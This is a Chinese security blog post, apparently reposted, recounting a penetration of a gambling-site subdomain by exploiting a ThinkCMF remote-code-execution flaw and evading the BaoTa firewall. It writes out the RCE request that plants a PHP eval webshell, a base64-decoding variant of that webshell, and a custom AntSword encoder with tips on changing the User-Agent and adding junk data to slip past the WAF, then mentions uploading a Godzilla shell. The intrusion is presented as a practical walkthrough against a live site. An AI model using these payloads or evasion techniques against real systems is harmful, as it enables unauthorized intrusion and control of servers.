记一次绕过宝塔防火墙的BC站渗透

admin 2021年3月30日12:43:57评论849 views字数 1649阅读5分29秒阅读模式

0x00 信息收集

由于主站存在云waf 一测就封 且初步测试不存在能用得上的洞 所以转战分站 希望能通过分站获得有价值的信息


记一次绕过宝塔防火墙的BC站渗透

这是一个查询代理帐号的站 url输入admin 自动跳转至后台

记一次绕过宝塔防火墙的BC站渗透

看这个参数 猜测可能是thinkCMF

0x01 getshell

thinkcmf正好有一个RCE 可以尝试一下

?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test1.php','<?php @eval($_POST[zero])?>')</php>

记一次绕过宝塔防火墙的BC站渗透

白屏是个好兆头 应该是成功了

访问一下

记一次绕过宝塔防火墙的BC站渗透

尝试蚁剑连接 直接报错 猜测可能遇到防火墙了

记一次绕过宝塔防火墙的BC站渗透

然后再回来看一下shell 手动尝试一个phpinfo

记一次绕过宝塔防火墙的BC站渗透

果然存在宝塔防火墙


0x02 绕过宝塔防火墙

宝塔应该对部分函数进行了过滤,所以直接传递payload肯定是不行的,所以我们需要对流量进行混淆加密。


尝试将所有的payload Base64编码传输


既然传过去的是编码后的Base64,小马也应该相应做出改变,只需解密一次传递过来的base64即可。


小马如下:

<?php @eval(base64_decode($_POST[zero]));?>

将phpinfo();base64编码为 cGhwaW5mbygpOw==


发送

记一次绕过宝塔防火墙的BC站渗透

可见 宝塔防火墙没再拦截 已经成功绕过宝塔防火墙


0x03 改造蚁剑

我们用到的是Base64编码,但是蚁剑其实是自带Base64编码解码器的 。

尝试直接使用自带的Base64编码器

记一次绕过宝塔防火墙的BC站渗透

为什么会这样呢?

我们尝试从蚁剑的流量分析

设置代理到burp

记一次绕过宝塔防火墙的BC站渗透

拦截流量

记一次绕过宝塔防火墙的BC站渗透

我们可以看到 明显有两个地方容易被waf识别


一是:User-Agent头的关键字:antSword/v2.1 这相当于直接告诉waf我是谁了, 所以这是第一个要更改的点

二是:蚁剑的流量其实还是有关键字的 比如cmd参数后的 eval base64_decode 都是,而且我们的小马自带Base64解密,所以用它的默认编码器不仅过不去waf 即使没waf也不能正常连接我们的小马,所以需要自己定义编码器。


新建PHP编码器

记一次绕过宝塔防火墙的BC站渗透

由于我们只需要将payloadBase64编码一次即可,所以直接将data['_']Base64 处理赋值即可 随机参数有没有无所谓的


编码器如下

'use strict';
/** @param {String} pwd 连接密码* @param {Array} data 编码器处理前的 payload 数组* @return {Array} data 编码器处理后的 payload 数组*/module.exports = (pwd, data, ext={}) => {
data[pwd] = Buffer.from(data['_']).toString('base64');
delete data['_'];
return data;}

然后修改UA头

记一次绕过宝塔防火墙的BC站渗透

应用我们的编码器 解码器不需要指定 默认即可

建议选择 增加垃圾数据和Multipart发包

记一次绕过宝塔防火墙的BC站渗透

再次测试连接

记一次绕过宝塔防火墙的BC站渗透

记一次绕过宝塔防火墙的BC站渗透

然后点击目录 发现依然存在问题 不能跨目录 这个问题其实哥斯拉可以解决 上传哥斯拉马


这里可能有人会问了 那你直接上传哥斯拉马不就行了吗 实际情况是 get传参有长度限制 而且有的符号会导致截断php文件无法上传完整

记一次绕过宝塔防火墙的BC站渗透

网站有挺多 但是很可惜没有主站 数据库里只有一堆代理帐号 浪费时间了

记一次绕过宝塔防火墙的BC站渗透


转先知社区

作者名称:pureqh

原文链接:https://xz.aliyun.com/t/9295

作者主页:https://xz.aliyun.com/u/18612


以下内容不是原文内容 - 如以上内容有问题可联系运营删除 Q企Q鹅:1481840992


更多文章参考:

  • Thinkphp绕过宝塔getshell

https://blog.csdn.net/weixin_42282667/article/details/88265586

  • 小技巧之突破宝塔防火墙限制上传

https://www.heibai.org/post/1167.html

记一次绕过宝塔防火墙的BC站渗透

本文始发于微信公众号(Ots安全):记一次绕过宝塔防火墙的BC站渗透

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年3月30日12:43:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次绕过宝塔防火墙的BC站渗透http://cn-sec.com/archives/312083.html

发表评论

匿名网友 填写信息